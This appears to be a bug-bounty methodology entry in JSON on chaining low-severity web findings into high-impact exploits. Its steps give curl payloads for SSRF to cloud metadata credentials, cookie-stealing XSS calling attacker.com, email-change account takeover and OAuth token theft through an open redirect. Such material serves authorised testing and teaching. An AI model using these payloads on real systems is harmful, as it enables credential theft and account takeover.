{
  "slug": "chaining-vulnerabilities",
  "title": "Vulnerability Chaining",
  "phase": "Post-Exploitation",
  "description": "Combine multiple low/medium-severity findings into high-impact exploit chains that demonstrate real-world attack scenarios and maximise bounty payouts.",
  "difficulty": "high",
  "tags": [
    "post-exploitation",
    "chaining",
    "exploit-chain",
    "impact-escalation",
    "attack-scenario"
  ],
  "tools": [
    "Burp Suite",
    "curl",
    "Python",
    "custom scripts"
  ],
  "steps": [
    {
      "id": "chain-01",
      "title": "Map all discovered vulnerabilities and their relationships",
      "description": "Create a matrix of all identified vulnerabilities, their access requirements, and how the output of one can feed into the input of another.",
      "commands": [
        "# Review all findings and categorise by type",
        "cat findings.txt | sort -t'|' -k2 | column -t -s'|'"
      ],
      "notes": "Group vulnerabilities by category (information disclosure, injection, access control, client-side). Look for pairs where one finding's output enables another finding's exploitation."
    },
    {
      "id": "chain-02",
      "title": "Identify SSRF-to-internal-access chains",
      "description": "Escalate server-side request forgery from URL fetch to internal service access, cloud metadata retrieval, or internal API abuse.",
      "commands": [
        "curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'",
        "curl -sk 'https://target.com/fetch?url=http://localhost:8080/admin/'",
        "curl -sk 'https://target.com/fetch?url=http://internal-api.local/v1/users'"
      ],
      "notes": "SSRF alone may be medium severity, but SSRF to AWS credential theft or internal admin access is critical. Document the full chain from initial request to final impact."
    },
    {
      "id": "chain-03",
      "title": "Build XSS-to-account-takeover chains",
      "description": "Chain a cross-site scripting vulnerability with CSRF or session theft to achieve full account takeover rather than just JavaScript execution.",
      "commands": [
        "# XSS payload that steals session cookie",
        "curl -sk 'https://target.com/search?q=<script>fetch(\"https://attacker.com/steal?c=\"%2Bdocument.cookie)</script>'",
        "# XSS payload that changes email via CSRF",
        "curl -sk 'https://target.com/search?q=<script>fetch(\"/api/profile\",{method:\"PUT\",headers:{\"Content-Type\":\"application/json\"},body:JSON.stringify({email:\"attacker@evil.com\"}),credentials:\"include\"})</script>'"
      ],
      "notes": "A stored XSS that changes the victim's email address, then triggers a password reset to the attacker's email, is a full account takeover chain — far more impactful than a reflected XSS alert box."
    },
    {
      "id": "chain-04",
      "title": "Chain information disclosure to authentication bypass",
      "description": "Use leaked credentials, API keys, or internal endpoints discovered through information disclosure to bypass authentication entirely.",
      "commands": [
        "# Use leaked API key from JS files",
        "curl -sk https://target.com/api/admin/users -H 'X-API-Key: <leaked-key>'",
        "# Use discovered internal endpoint",
        "curl -sk 'https://target.com/internal/debug/auth?user=admin&bypass=true'"
      ],
      "notes": "Information disclosure findings that are rated as low/informational on their own can become critical when they provide the key to bypass authentication or access admin functionality."
    },
    {
      "id": "chain-05",
      "title": "Demonstrate open redirect to OAuth token theft",
      "description": "Chain an open redirect vulnerability with an OAuth flow to steal authorization codes or access tokens.",
      "commands": [
        "# Craft OAuth URL with redirect_uri pointing to open redirect",
        "curl -sk 'https://target.com/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?url=https://attacker.com/steal'",
        "# Test with token in URL fragment",
        "curl -sk 'https://target.com/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?url=https://attacker.com/steal'"
      ],
      "notes": "An open redirect alone is typically low severity. When it is used to bypass OAuth redirect_uri validation, it escalates to account takeover via token theft."
    },
    {
      "id": "chain-06",
      "title": "Document the full chain with step-by-step reproduction",
      "description": "Write a detailed chain report that shows each link in the exploit chain, the individual severity of each finding, and the combined impact.",
      "commands": [
        "# Create a chain reproduction script",
        "python3 -c \"\nimport requests\ns = requests.Session()\n# Step 1: Exploit info disclosure\n# Step 2: Use leaked data to bypass auth\n# Step 3: Escalate privileges\nprint('Chain completed successfully')\n\""
      ],
      "notes": "Include a diagram or numbered list showing the chain. Explain why each individual finding is necessary and what happens if any link is removed. This helps triage teams understand the realistic attack scenario."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/logic-flaws",
    "https://portswigger.net/web-security/ssrf",
    "https://portswigger.net/web-security/cross-site-scripting",
    "https://owasp.org/www-community/attacks/Server_Side_Request_Forgery",
    "https://portswigger.net/web-security/oauth"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}